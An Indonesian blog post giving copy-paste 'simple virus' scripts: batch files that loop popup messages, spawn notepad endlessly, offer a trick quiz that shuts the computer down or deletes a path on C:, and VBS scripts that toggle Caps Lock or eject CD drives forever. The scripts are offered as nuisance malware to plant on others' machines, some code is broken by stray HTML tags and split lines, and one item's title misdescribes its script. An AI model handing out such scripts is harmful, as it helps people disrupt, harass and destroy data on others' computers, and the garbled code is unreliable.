Membuat Virus Komputer Sederhana

Apa kabar semuanya..?? Semoga baik-baik saja ya, Amin..

Dah lama banget nih ga' sempet online n ga' ngeposting. Kali ini saya akan berbagi informasi tentang cara membuat virus komputer sederhana. Dibaca dan di pahami baik-baik ya :

Ini adalah cara membuat virus yang sederhana, saya rasa semua orang bisa melakukannya. Hanya dengan notepad dan kemampuan copy-paste anda sudah bisa.

 

 

1. Message yg muncul terus menerus cara nya buka notepad lalu masukan script di bawah ini :

@ECHO off

:<br />

Begin<br />

msg * Lagi ngapain ?<br />

msg * Hayo buka apa ?<br />

msg * Nanti dimarahin ama mak loe<br />

msg * Makannya jangan sembrono !<br />

msg * minta bantuan gih sono !<br />

msg * Udah instal ulang aja !!!!<br />

msg * tit............................

GOTO BEGIN</div>

bisa dirubah sesuai keinginan anda!
simpan dengan berekstensi .bat contoh fawaiqblog.bat


2.  Pertanyaan menjebak, script nya :

@echo off

title quiz hari ini 

:menu

cls

echo jika kamu kena virus apa

yang kamu lakukan

pause

echo pilih yang mana:

echo 1. matiin computer

echo 2. format aja

echo 3. bingung ahh

set input=nothing

set /p input=Choice:

if %input%==1 shutdown -s -t

30

if %input%==2 del c:\xxx

if %input%==3 @ECHO off

msg * muka lo rusak

msg * ngaca dulu gih

msg * hayo lo,cpu lu gw acak2

msg * ud install ulang aja

msg * biar masalah nya kelar

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

simpan dengan .bat contoh = fawaiqblog.bat


3. Membuka notepad terus-menerus, script nya :

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

sama simpan dengan .bat

4. Komputer mati sendiri dan ngirim message, script nya :

Set wshShell

=wscript.CreateObject

("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

simpan dengan .vbs

5. Buka tutup cd room terus menerus, script nya :

Set oWMP = CreateObject

("WMPlayer.OCX.7")

Set colCDROMs =

oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

simpan dengan .vbs

 

 

Selamat mencoba dan semoga bermanfaat, tapi jangan di gunakan untuk kejahatan dan balas dendam, ok!!!